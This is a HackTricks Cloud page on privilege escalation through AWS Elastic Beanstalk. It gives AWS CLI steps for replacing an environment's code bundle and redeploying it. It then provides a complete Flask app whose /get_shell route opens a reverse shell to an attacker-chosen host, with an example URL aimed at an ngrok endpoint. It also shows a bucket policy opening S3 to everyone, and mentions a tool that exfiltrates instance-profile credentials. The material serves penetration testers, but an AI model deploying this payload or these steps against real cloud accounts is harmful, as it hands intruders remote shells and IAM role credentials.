mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-23 15:37:53 -08:00
219 lines
9.7 KiB
Markdown
219 lines
9.7 KiB
Markdown
# AWS - Elastic Beanstalk Privesc
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
## Elastic Beanstalk
|
|
|
|
More **info about Elastic Beanstalk** in:
|
|
|
|
{% content-ref url="../aws-services/aws-elastic-beanstalk-enum.md" %}
|
|
[aws-elastic-beanstalk-enum.md](../aws-services/aws-elastic-beanstalk-enum.md)
|
|
{% endcontent-ref %}
|
|
|
|
{% hint style="warning" %}
|
|
In order to perform sensitive actions in Beanstalk you will need to have a **lot of sensitive permissions in a lot of different services**. You can check for example the permissions given to **`arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk`**
|
|
{% endhint %}
|
|
|
|
### `elasticbeanstalk:RebuildEnvironment`, S3 write permissions & many others
|
|
|
|
With **write permissions over the S3 bucket** containing the **code** of the environment and permissions to **rebuild** the application (it's needed `elasticbeanstalk:RebuildEnvironment` and a few more related to `S3` , `EC2` and `Cloudformation`), you can **modify** the **code**, **rebuild** the app and the next time you access the app it will **execute your new code**, allowing the attacker to compromise the application and the IAM role credentials of it.
|
|
|
|
{% code overflow="wrap" %}
|
|
```bash
|
|
# Create folder
|
|
mkdir elasticbeanstalk-eu-west-1-947247140022
|
|
cd elasticbeanstalk-eu-west-1-947247140022
|
|
# Download code
|
|
aws s3 sync s3://elasticbeanstalk-eu-west-1-947247140022 .
|
|
# Change code
|
|
unzip 1692777270420-aws-flask-app.zip
|
|
zip 1692777270420-aws-flask-app.zip <files to zip>
|
|
# Upload code
|
|
aws s3 cp 1692777270420-aws-flask-app.zip s3://elasticbeanstalk-eu-west-1-947247140022/1692777270420-aws-flask-app.zip
|
|
# Rebuild env
|
|
aws elasticbeanstalk rebuild-environment --environment-name "env-name"
|
|
```
|
|
{% endcode %}
|
|
|
|
### `elasticbeanstalk:CreateApplication`, `elasticbeanstalk:CreateEnvironment`, `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `iam:PassRole`, and more...
|
|
|
|
The mentioned plus several **`S3`**, **`EC2`, `cloudformation`** ,**`autoscaling`** and **`elasticloadbalancing`** permissions are the necessary to create a raw Elastic Beanstalk scenario from scratch.
|
|
|
|
* Create an AWS Elastic Beanstalk application:
|
|
|
|
```bash
|
|
aws elasticbeanstalk create-application --application-name MyApp
|
|
```
|
|
|
|
* Create an AWS Elastic Beanstalk environment ([**supported platforms**](https://docs.aws.amazon.com/elasticbeanstalk/latest/platforms/platforms-supported.html#platforms-supported.python)):
|
|
|
|
{% code overflow="wrap" %}
|
|
```bash
|
|
aws elasticbeanstalk create-environment --application-name MyApp --environment-name MyEnv --solution-stack-name "64bit Amazon Linux 2 v3.4.2 running Python 3.8" --option-settings Namespace=aws:autoscaling:launchconfiguration,OptionName=IamInstanceProfile,Value=aws-elasticbeanstalk-ec2-role
|
|
```
|
|
{% endcode %}
|
|
|
|
If an environment is already created and you **don't want to create a new one**, you could just **update** the existent one.
|
|
|
|
* Package your application code and dependencies into a ZIP file:
|
|
|
|
```python
|
|
zip -r MyApp.zip .
|
|
```
|
|
|
|
* Upload the ZIP file to an S3 bucket:
|
|
|
|
```python
|
|
aws s3 cp MyApp.zip s3://elasticbeanstalk-<region>-<accId>/MyApp.zip
|
|
```
|
|
|
|
* Create an AWS Elastic Beanstalk application version:
|
|
|
|
{% code overflow="wrap" %}
|
|
```css
|
|
aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-1.0 --source-bundle S3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="MyApp.zip"
|
|
```
|
|
{% endcode %}
|
|
|
|
* Deploy the application version to your AWS Elastic Beanstalk environment:
|
|
|
|
{% code overflow="wrap" %}
|
|
```bash
|
|
aws elasticbeanstalk update-environment --environment-name MyEnv --version-label MyApp-1.0
|
|
```
|
|
{% endcode %}
|
|
|
|
### `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `cloudformation:GetTemplate`, `cloudformation:DescribeStackResources`, `cloudformation:DescribeStackResource`, `autoscaling:DescribeAutoScalingGroups`, `autoscaling:SuspendProcesses`, `autoscaling:SuspendProcesses`
|
|
|
|
First of all you need to create a **legit Beanstalk environment** with the **code** you would like to run in the **victim** following the **previous steps**. Potentially a simple **zip** containing these **2 files**:
|
|
|
|
{% tabs %}
|
|
{% tab title="application.py" %}
|
|
```python
|
|
from flask import Flask, request, jsonify
|
|
import subprocess,os, socket
|
|
|
|
application = Flask(__name__)
|
|
|
|
@application.errorhandler(404)
|
|
def page_not_found(e):
|
|
return jsonify('404')
|
|
|
|
@application.route("/")
|
|
def index():
|
|
return jsonify('Welcome!')
|
|
|
|
|
|
@application.route("/get_shell")
|
|
def search():
|
|
host=request.args.get('host')
|
|
port=request.args.get('port')
|
|
if host and port:
|
|
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
|
|
s.connect((host,int(port)))
|
|
os.dup2(s.fileno(),0)
|
|
os.dup2(s.fileno(),1)
|
|
os.dup2(s.fileno(),2)
|
|
p=subprocess.call(["/bin/sh","-i"])
|
|
return jsonify('done')
|
|
|
|
if __name__=="__main__":
|
|
application.run()
|
|
```
|
|
{% endtab %}
|
|
|
|
{% tab title="requirements.txt" %}
|
|
```
|
|
click==7.1.2
|
|
Flask==1.1.2
|
|
itsdangerous==1.1.0
|
|
Jinja2==2.11.3
|
|
MarkupSafe==1.1.1
|
|
Werkzeug==1.0.1
|
|
```
|
|
{% endtab %}
|
|
{% endtabs %}
|
|
|
|
Once you have **your own Beanstalk env running** your rev shell, it's time to **migrate** it to the **victims** env. To so so you need to **update the Bucket Policy** of your beanstalk S3 bucket so the **victim can access it** (Note that this will **open** the Bucket to **EVERYONE**):
|
|
|
|
```json
|
|
{
|
|
"Version": "2008-10-17",
|
|
"Statement": [
|
|
{
|
|
"Sid": "eb-af163bf3-d27b-4712-b795-d1e33e331ca4",
|
|
"Effect": "Allow",
|
|
"Principal": {
|
|
"AWS": "*"
|
|
},
|
|
"Action": [
|
|
"s3:ListBucket",
|
|
"s3:ListBucketVersions",
|
|
"s3:GetObject",
|
|
"s3:GetObjectVersion",
|
|
"s3:*"
|
|
],
|
|
"Resource": [
|
|
"arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022",
|
|
"arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022/*"
|
|
]
|
|
},
|
|
{
|
|
"Sid": "eb-58950a8c-feb6-11e2-89e0-0800277d041b",
|
|
"Effect": "Deny",
|
|
"Principal": {
|
|
"AWS": "*"
|
|
},
|
|
"Action": "s3:DeleteBucket",
|
|
"Resource": "arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022"
|
|
}
|
|
]
|
|
}
|
|
```
|
|
|
|
{% code overflow="wrap" %}
|
|
```bash
|
|
# Use a new --version-label
|
|
# Use the bucket from your own account
|
|
aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-2.0 --source-bundle S3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="revshell.zip"
|
|
|
|
# These step needs the extra permissions
|
|
aws elasticbeanstalk update-environment --environment-name MyEnv --version-label MyApp-1.0
|
|
|
|
# To get your rev shell just access the exposed web URL with params such as:
|
|
http://myenv.eba-ankaia7k.us-east-1.elasticbeanstalk.com/get_shell?host=0.tcp.eu.ngrok.io&port=13528
|
|
|
|
Alternatively, [MaliciousBeanstalk](https://github.com/fr4nk3nst1ner/MaliciousBeanstalk) can be used to deploy a Beanstalk application that takes advantage of overly permissive Instance Profiles. Deploying this application will execute a binary (e.g., [Mythic](https://github.com/its-a-feature/Mythic) payload) and/or exfiltrate the instance profile security credentials (use with caution, GuardDuty alerts when instance profile credentials are used outside the ec2 instance).
|
|
|
|
The developer has intentions to establish a reverse shell using Netcat or Socat with next steps to keep exploitation contained to the ec2 instance to avoid detections.
|
|
```
|
|
{% endcode %}
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|